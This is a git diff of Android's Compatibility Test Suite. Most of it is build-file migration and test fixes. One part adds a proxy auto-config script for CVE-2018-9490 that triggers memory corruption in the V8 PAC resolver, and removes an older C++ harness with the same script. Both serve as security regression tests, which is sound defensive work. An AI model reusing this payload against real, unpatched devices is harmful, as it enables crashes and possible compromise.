hdmiCecUtils.checkExpectedOutput(CecDevice.TV, - CecMessage.CEC_VERSION); + hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GET_CEC_VERSION); + String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV, + CecMessage.CEC_VERSION); - assertEquals(CEC_VERSION_NUMBER, hdmiCecUtils.getParamsFromMessage(message)); - } finally { - hdmiCecUtils.killCecProcess(); - } + assertEquals(CEC_VERSION_NUMBER, hdmiCecClient.getParamsFromMessage(message)); } /** @@ -123,19 +86,12 @@ public final class HdmiCecSystemInformationTest implements IDeviceTest { */ @Test public void cect_11_2_6_7_GetMenuLanguage() throws Exception { - HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0"); - - try { - hdmiCecUtils.init(); - hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GET_MENU_LANGUAGE); - String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV, - CecMessage.FEATURE_ABORT); - int abortedOpcode = hdmiCecUtils.getParamsFromMessage(message, - CecMessage.GET_MENU_LANGUAGE.toString().length()); - assertEquals(CecMessage.getMessage(abortedOpcode), CecMessage.GET_MENU_LANGUAGE); - } finally { - hdmiCecUtils.killCecProcess(); - } + hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GET_MENU_LANGUAGE); + String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV, + CecMessage.FEATURE_ABORT); + int abortedOpcode = hdmiCecClient.getParamsFromMessage(message, + CecMessage.GET_MENU_LANGUAGE.toString().length()); + assertEquals(CecMessage.getMessage(abortedOpcode), CecMessage.GET_MENU_LANGUAGE); } } diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java index 38fbf564c7b..a5a220c0d46 100644 --- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java +++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java @@ -75,6 +75,9 @@ public class BatteryStatsBgVsFgActions { /** Number of times to check that app is in correct state before giving up. */ public static final int PROC_STATE_CHECK_ATTEMPTS = 10; + /** Number of times to check that Bluetooth is enabled before giving up. */ + public static final int BT_ENABLE_ATTEMPTS = 8; + /** Perform the action specified by the given action code (see constants above). */ public static void doAction(Context ctx, String actionCode, String requestCode) { if (actionCode == null) { @@ -167,7 +170,17 @@ public class BatteryStatsBgVsFgActions { Log.e(TAG, "Bluetooth is not enabled"); return; } - sleep(8_000); + for (int attempt = 0; attempt < BT_ENABLE_ATTEMPTS; attempt++) { + if (bluetoothAdapter.isEnabled()) { + break; + } else { + if (attempt < BT_ENABLE_ATTEMPTS - 1) { + sleep(1_000); + } else { + throw new RuntimeException("Bluetooth enable failed."); + } + } + } bluetoothEnabledByTest = true; } diff --git a/hostsidetests/jdwpsecurity/AndroidTest.xml b/hostsidetests/jdwpsecurity/AndroidTest.xml index 6d6db7cedee..f946b9b44aa 100644 --- a/hostsidetests/jdwpsecurity/AndroidTest.xml +++ b/hostsidetests/jdwpsecurity/AndroidTest.xml @@ -17,6 +17,7 @@ <option name="test-suite-tag" value="cts" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <option name="config-descriptor:metadata" key="component" value="art" /> <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" > <option name="jar" value="CtsJdwpSecurityHostTestCases.jar" /> diff --git a/hostsidetests/jdwptunnel/AndroidTest.xml b/hostsidetests/jdwptunnel/AndroidTest.xml index 434d5ac0459..89b8c74f258 100644 --- a/hostsidetests/jdwptunnel/AndroidTest.xml +++ b/hostsidetests/jdwptunnel/AndroidTest.xml @@ -16,6 +16,7 @@ <configuration description="Config for the CTS JDWP tunnel host test cases"> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <option name="config-descriptor:metadata" key="component" value="art" /> <option name="test-suite-tag" value="cts" /> <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" > diff --git a/hostsidetests/monkey/AndroidTest.xml b/hostsidetests/monkey/AndroidTest.xml index 88abf14e89f..fdb229685a5 100644 --- a/hostsidetests/monkey/AndroidTest.xml +++ b/hostsidetests/monkey/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="misc" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" > <option name="jar" value="CtsMonkeyTestCases.jar" /> <option name="runtime-hint" value="5m7s" /> diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp new file mode 100644 index 00000000000..502d708b730 --- /dev/null +++ b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp @@ -0,0 +1,28 @@ +// +// Copyright (C) 2018 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + +android_test_helper_app { + name: "CtsHostPowerManagerTestApp", + defaults: ["cts_support_defaults"], + sdk_version: "current", + srcs: ["src/**/*.java"], + // Tag this module as a cts test artifact + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk deleted file mode 100644 index e58a3d2baa5..00000000000 --- a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk +++ /dev/null @@ -1,31 +0,0 @@ -# -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# - -LOCAL_PATH := $(call my-dir) - -include $(CLEAR_VARS) - -LOCAL_MODULE_TAGS := tests -LOCAL_SDK_VERSION := current - -LOCAL_SRC_FILES := $(call all-java-files-under, src) - -LOCAL_PACKAGE_NAME := CtsHostPowerManagerTestApp - -# Tag this module as a cts test artifact -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests - -include $(BUILD_CTS_SUPPORT_PACKAGE) diff --git a/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java b/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java index 6db835e8d78..257d7892ce4 100644 --- a/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java +++ b/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java @@ -1021,7 +1021,7 @@ public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, I /** * Asserts that a domain may exist. If a domain exists, the cardinality of * the domain is verified to be 1 and that the correct process is running in - * that domain. + * that domain. If the process is running, it is running in that domain. * * @param domain * The domain or SELinux context to check. @@ -1032,19 +1032,21 @@ public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, I throws DeviceNotAvailableException { List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain); List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable); - if (procs != null) { String msg = "Expected 1 process in SELinux domain \"" + domain + "\"" - + " Found: \"" + procs + "\""; + + " Found: \"" + procs + "\""; assertEquals(msg, 1, procs.size()); msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\"" + "Found: \"" + procs.get(0) + "\""; assertEquals(msg, executable, procs.get(0).procTitle); } - if (exeProcs != null) { - String msg = "Expected 1 process with executable \"" + executable + "\"" + String msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\"" + + " Instead found it running in the domain \"" + exeProcs.get(0).label + "\""; + assertNotNull(msg, procs); + + msg = "Expected 1 process with executable \"" + executable + "\"" + " Found: \"" + procs + "\""; assertEquals(msg, 1, exeProcs.size()); @@ -1237,7 +1239,7 @@ public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, I /* permissioncontroller may or may not be running */ @CddTest(requirement="9.7") public void testPermissionControllerDomain() throws DeviceNotAvailableException { - assertDomainZeroOrOne("u:r:permissioncontroller_app:s0:c66,c256,c512,c768", "com.google.android.permissioncontroller"); + assertDomainZeroOrOne("u:r:permissioncontroller_app:s0", "com.google.android.permissioncontroller"); } /* @@ -1327,6 +1329,14 @@ public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, I Matcher m = p.matcher(line); if(m.matches()) { String domainLabel = m.group(1); + // clean up the domainlabel + String[] parts = domainLabel.split(":"); + if (parts.length > 4) { + // we have an extra categories bit at the end consisting of cxxx,cxxx ... + // just make the domain out of the first 4 parts + domainLabel = String.join(":", parts[0], parts[1], parts[2], parts[3]); + } + String user = m.group(2); int pid = Integer.parseInt(m.group(3)); int ppid = Integer.parseInt(m.group(4)); diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml index 5fbfbd59942..d1551d01f1e 100644 --- a/hostsidetests/securitybulletin/AndroidTest.xml +++ b/hostsidetests/securitybulletin/AndroidTest.xml @@ -181,7 +181,6 @@ <!--__________________--> <!-- Bulletin 2018-10 --> <!-- Please add tests solely from this bulletin below to avoid merge conflict --> - <option name="push" value="CVE-2018-9490->/data/local/tmp/CVE-2018-9490" /> <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" /> <!--__________________--> diff --git a/hostsidetests/securitybulletin/res/CVE-2018-9490.pac b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac new file mode 100644 index 00000000000..9fb7ba8141d --- /dev/null +++ b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac @@ -0,0 +1,15 @@ +function FindProxyForURL(url, host){ + alert("enter"); + let arr = []; + arr[1000] = 0x1234; + + arr.__defineGetter__(256, function () { + delete arr[256]; + arr.unshift(1.1); + arr.length = 0; + }); + + Object.entries(arr).toString(); + alert(JSON.stringify(entries)); + return 0; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp deleted file mode 100644 index c6d332ad18d..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright (C) 2018 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#ifndef _GNU_SOURCE -#define _GNU_SOURCE -#endif -#include <sys/types.h> -#include <sys/wait.h> -#include <memory> -#include <proxy_resolver_v8_wrapper.h> - -#define URL u"" -#define HOST u"" -#define SCRIPT \ - u"function FindProxyForURL(url, host){\n" \ - " alert(\"enter\");\n" \ - " let arr = [];\n" \ - " arr[1000] = 0x1234;\n" \ - "\n" \ - " arr.__defineGetter__(256, function () {\n" \ - " delete arr[256];\n" \ - " arr.unshift(1.1);\n" \ - " arr.length = 0;\n" \ - " });\n" \ - "\n" \ - " Object.entries(arr).toString();\n" \ - " alert(JSON.stringify(entries));\n" \ - "\n" \ - " return 0;\n" \ - "}\n" - -int main(void) { - auto resolver = std::unique_ptr<ProxyResolverV8Handle, void(*)(ProxyResolverV8Handle*)>( - ProxyResolverV8Handle_new(), ProxyResolverV8Handle_delete); - ProxyResolverV8Handle_SetPacScript(resolver.get(), SCRIPT); - auto results = std::unique_ptr<char16_t, decltype(&free)>(ProxyResolverV8Handle_GetProxyForURL( - resolver.get(), URL, HOST), &free); - return 0; -} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java index 0423b37bcf9..dfc3de00f85 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java @@ -42,7 +42,7 @@ public class Poc18_10 extends SecurityTestCase { */ @SecurityTest public void testPocCVE_2018_9490() throws Exception { - int code = AdbUtils.runPocGetExitStatus("/data/local/tmp/CVE-2018-9490", getDevice(), 60); + int code = AdbUtils.runProxyAutoConfig("CVE-2018-9490", getDevice()); assertTrue(code != 139); // 128 + signal 11 } } diff --git a/hostsidetests/signedconfig/Android.mk b/hostsidetests/signedconfig/Android.mk deleted file mode 100644 index 9aaa6acb0b1..00000000000 --- a/hostsidetests/signedconfig/Android.mk +++ /dev/null @@ -1,17 +0,0 @@ -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH:= $(call my-dir) - -include $(call all-makefiles-under,$(LOCAL_PATH)) diff --git a/hostsidetests/signedconfig/app/Android.bp b/hostsidetests/signedconfig/app/Android.bp new file mode 100644 index 00000000000..eb00aa6e27c --- /dev/null +++ b/hostsidetests/signedconfig/app/Android.bp @@ -0,0 +1,147 @@ +// Copyright (C) 2018 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +java_defaults { + name: "CtsSignedConfigDefaults", + sdk_version: "current", + optimize: { + enabled: false, + }, + dex_preopt: { + enabled: false, + }, + srcs: ["src/**/*.java"], +} + +android_test_helper_app { + name: "CtsSignedConfigTestAppV1", + defaults: ["CtsSignedConfigDefaults"], + manifest: "version1_AndroidManifest.xml", + sdk_version: "current", + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} + +android_test_helper_app { + name: "CtsSignedConfigTestAppV1_instant", + defaults: ["CtsSignedConfigDefaults"], + manifest: "version1_instant_AndroidManifest.xml", + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} + +android_test_helper_app { + name: "CtsSignedConfigTestAppV2", + defaults: ["CtsSignedConfigDefaults"], + manifest: "version2_AndroidManifest.xml", + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} + +android_test_helper_app { + name: "CtsSignedConfigTestAppV2_instant", + defaults: ["CtsSignedConfigDefaults"], + manifest: "version2_instant_AndroidManifest.xml", + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} + +android_test_helper_app { + name: "CtsSignedConfigTestApp2V1", + defaults: ["CtsSignedConfigDefaults"], + manifest: "version1_package2_AndroidManifest.xml", + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} + +android_test_helper_app { + name: "CtsSignedConfigTestApp2V2", + defaults: ["CtsSignedConfigDefaults"], + manifest: "version2_package2_AndroidManifest.xml", + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} + +android_test_helper_app { + name: "CtsSignedConfigTestAppV1_badsignature", + defaults: ["CtsSignedConfigDefaults"], + manifest: "version1_badsignature_AndroidManifest.xml", + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} + +android_test_helper_app { + name: "CtsSignedConfigTestAppV1_badb64_config", + defaults: ["CtsSignedConfigDefaults"], + manifest: "version1_badb64_config_AndroidManifest.xml", + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} + +android_test_helper_app { + name: "CtsSignedConfigTestAppV1_badb64_signature", + defaults: ["CtsSignedConfigDefaults"], + manifest: "version1_badb64_signature_AndroidManifest.xml", + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} + +android_test_helper_app { + name: "CtsSignedConfigTestAppV3_configv1", + defaults: ["CtsSignedConfigDefaults"], + manifest: "version3_configv1_AndroidManifest.xml", + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} + +android_test_helper_app { + name: "CtsSignedConfigTestAppV1_debug_key", + defaults: ["CtsSignedConfigDefaults"], + manifest: "version1_debug_key_AndroidManifest.xml", + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} diff --git a/hostsidetests/signedconfig/app/Android.mk b/hostsidetests/signedconfig/app/Android.mk deleted file mode 100644 index 448f785ac0e..00000000000 --- a/hostsidetests/signedconfig/app/Android.mk +++ /dev/null @@ -1,79 +0,0 @@ -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH:= $(call my-dir) - -include $(CLEAR_VARS) -LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1 -LOCAL_MANIFEST_FILE := version1_AndroidManifest.xml -include $(LOCAL_PATH)/build_signedconfig_apk.mk - - -include $(CLEAR_VARS) -LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_instant -LOCAL_MANIFEST_FILE := version1_instant_AndroidManifest.xml -include $(LOCAL_PATH)/build_signedconfig_apk.mk - - -include $(CLEAR_VARS) -LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV2 -LOCAL_MANIFEST_FILE := version2_AndroidManifest.xml -include $(LOCAL_PATH)/build_signedconfig_apk.mk - - -include $(CLEAR_VARS) -LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV2_instant -LOCAL_MANIFEST_FILE := version2_instant_AndroidManifest.xml -include $(LOCAL_PATH)/build_signedconfig_apk.mk - - -include $(CLEAR_VARS) -LOCAL_PACKAGE_NAME := CtsSignedConfigTestApp2V1 -LOCAL_MANIFEST_FILE := version1_package2_AndroidManifest.xml -include $(LOCAL_PATH)/build_signedconfig_apk.mk - - -include $(CLEAR_VARS) -LOCAL_PACKAGE_NAME := CtsSignedConfigTestApp2V2 -LOCAL_MANIFEST_FILE := version2_package2_AndroidManifest.xml -include $(LOCAL_PATH)/build_signedconfig_apk.mk - - -include $(CLEAR_VARS) -LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_badsignature -LOCAL_MANIFEST_FILE := version1_badsignature_AndroidManifest.xml -include $(LOCAL_PATH)/build_signedconfig_apk.mk - - -include $(CLEAR_VARS) -LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_badb64_config -LOCAL_MANIFEST_FILE := version1_badb64_config_AndroidManifest.xml -include $(LOCAL_PATH)/build_signedconfig_apk.mk - - -include $(CLEAR_VARS) -LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_badb64_signature -LOCAL_MANIFEST_FILE := version1_badb64_signature_AndroidManifest.xml -include $(LOCAL_PATH)/build_signedconfig_apk.mk - - -include $(CLEAR_VARS) -LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV3_configv1 -LOCAL_MANIFEST_FILE := version3_configv1_AndroidManifest.xml -include $(LOCAL_PATH)/build_signedconfig_apk.mk - -include $(CLEAR_VARS) -LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_debug_key -LOCAL_MANIFEST_FILE := version1_debug_key_AndroidManifest.xml -include $(LOCAL_PATH)/build_signedconfig_apk.mk diff --git a/hostsidetests/signedconfig/hostside/Android.bp b/hostsidetests/signedconfig/hostside/Android.bp new file mode 100644 index 00000000000..78c3b487c0f --- /dev/null +++ b/hostsidetests/signedconfig/hostside/Android.bp @@ -0,0 +1,33 @@ +// Copyright (C) 2018 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +java_test_host { + name: "CtsSignedConfigHostTestCases", + defaults: ["cts_defaults"], + srcs: ["src/**/*.java"], + libs: [ + "tools-common-prebuilt", + "cts-tradefed", + "tradefed", + "compatibility-host-util", + "guava", + "truth-prebuilt", + ], + static_libs: ["hamcrest-library"], + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} diff --git a/hostsidetests/signedconfig/hostside/Android.mk b/hostsidetests/signedconfig/hostside/Android.mk deleted file mode 100644 index 8f08e4999ae..00000000000 --- a/hostsidetests/signedconfig/hostside/Android.mk +++ /dev/null @@ -1,59 +0,0 @@ -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH:= $(call my-dir) - -include $(CLEAR_VARS) - -LOCAL_MODULE := CtsSignedConfigHostTestCases - -LOCAL_CTS_TEST_PACKAGE := android.signedconfig - -LOCAL_MODULE_TAGS := optional - -LOCAL_SRC_FILES := $(call all-java-files-under, src) - -LOCAL_JAVA_LIBRARIES := \ - tools-common-prebuilt \ - cts-tradefed \ - tradefed \ - compatibility-host-util \ - guava \ - truth-prebuilt - -LOCAL_STATIC_JAVA_LIBRARIES := \ - hamcrest-library - -# tag this module as a cts test artifact -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests - -LOCAL_ADDITIONAL_DEPENDENCIES := $(call module-installed-files, \ - CtsSignedConfigTestAppV1 \ - CtsSignedConfigTestAppV1_instant \ - CtsSignedConfigTestAppV2 \ - CtsSignedConfigTestAppV2_instant \ - CtsSignedConfigTestApp2V1 \ - CtsSignedConfigTestApp2V2 \ - CtsSignedConfigTestAppV1_badsignature \ - CtsSignedConfigTestAppV1_badb64_config \ - CtsSignedConfigTestAppV1_badb64_signature \ - CtsSignedConfigTestAppV3_configv1 \ - CtsSignedConfigTestAppV1_debug_key \ - ) - - -include $(BUILD_CTS_HOST_JAVA_LIBRARY) - -# Build the test APKs using their own makefiles -include $(call all-makefiles-under,$(LOCAL_PATH)) diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java index 045b4a16985..c279c4990db 100644 --- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java +++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java @@ -1291,7 +1291,7 @@ public class UidAtomTests extends DeviceAtomTestCase { Thread.sleep(WAIT_TIME_SHORT); getDevice().executeShellCommand( "am broadcast -a action_anr -p " + DEVICE_SIDE_TEST_PACKAGE); - Thread.sleep(11_000); + Thread.sleep(20_000); } // Sorted list of events in order in which they occurred. diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java index 7b95933d81f..2d09a0da3ee 100644 --- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java +++ b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java @@ -56,6 +56,7 @@ public class BatteryStatsValidationTests extends DeviceAtomTestCase { public void testConnectivityStateChange() throws Exception { if (!hasFeature(FEATURE_WIFI, true)) return; if (!hasFeature(FEATURE_WATCH, false)) return; + if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return; final String fileName = "BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt"; StatsdConfig config = createValidationUtil().getConfig(fileName); LogUtil.CLog.d("Updating the following config:\n" + config.toString()); diff --git a/hostsidetests/sustainedperf/AndroidTest.xml b/hostsidetests/sustainedperf/AndroidTest.xml index 2377fa45237..b877fb506fc 100644 --- a/hostsidetests/sustainedperf/AndroidTest.xml +++ b/hostsidetests/sustainedperf/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="systems" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsSustainedPerformanceTestCases.apk" /> diff --git a/hostsidetests/usb/AndroidTest.xml b/hostsidetests/usb/AndroidTest.xml index c6105de66bc..14f6b95e803 100644 --- a/hostsidetests/usb/AndroidTest.xml +++ b/hostsidetests/usb/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="misc" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" > <option name="jar" value="CtsUsbTests.jar" /> </test> diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java index 9342a6fc574..53decc11b02 100644 --- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java @@ -517,7 +517,11 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase { " does not support color outputs, skipping"); continue; } - + if (!mAllStaticInfo.get(mCameraIds[i]).hasFlash()) { + Log.i(TAG, "Camera " + mCameraIds[i] + + " does not support flash, skipping"); + continue; + } openDevice(mCameraIds[i]); SimpleCaptureCallback listener = new SimpleCaptureCallback(); CaptureRequest.Builder requestBuilder = @@ -1462,18 +1466,6 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase { mSession.setRepeatingRequest(requestBuilder.build(), listener, mHandler); waitForSettingsApplied(listener, NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY); - // For camera that doesn't have flash unit, flash state should always be UNAVAILABLE. - if (mStaticInfo.getFlashInfoChecked() == false) { - for (int i = 0; i < NUM_FLASH_REQUESTS_TESTED; i++) { - result = listener.getCaptureResult(CAPTURE_RESULT_TIMEOUT_MS); - mCollector.expectEquals("No flash unit available, flash state must be UNAVAILABLE" - + "for AE mode " + initialAeControl, - CaptureResult.FLASH_STATE_UNAVAILABLE, - result.get(CaptureResult.FLASH_STATE)); - } - return; - } - // Turn on torch using FLASH_MODE_TORCH requestBuilder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON); requestBuilder.set(CaptureRequest.FLASH_MODE, CaptureRequest.FLASH_MODE_TORCH); diff --git a/tests/contentsuggestions/Android.bp b/tests/contentsuggestions/Android.bp new file mode 100644 index 00000000000..0dba01a29c0 --- /dev/null +++ b/tests/contentsuggestions/Android.bp @@ -0,0 +1,34 @@ +// Copyright (C) 2019 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +android_test { + name: "CtsContentSuggestionsTestCases", + defaults: ["cts_defaults"], + static_libs: [ + "androidx.annotation_annotation", + "compatibility-device-util-axt", + "ctstestrunner-axt", + "truth-prebuilt", + // TODO: remove once Android migrates to JUnit 4.12, + // which provides assertThrows + "testng", + ], + srcs: ["src/**/*.java"], + // Tag this module as a cts test artifact + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} diff --git a/tests/contentsuggestions/Android.mk b/tests/contentsuggestions/Android.mk deleted file mode 100644 index 2577e88be71..00000000000 --- a/tests/contentsuggestions/Android.mk +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright (C) 2019 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# 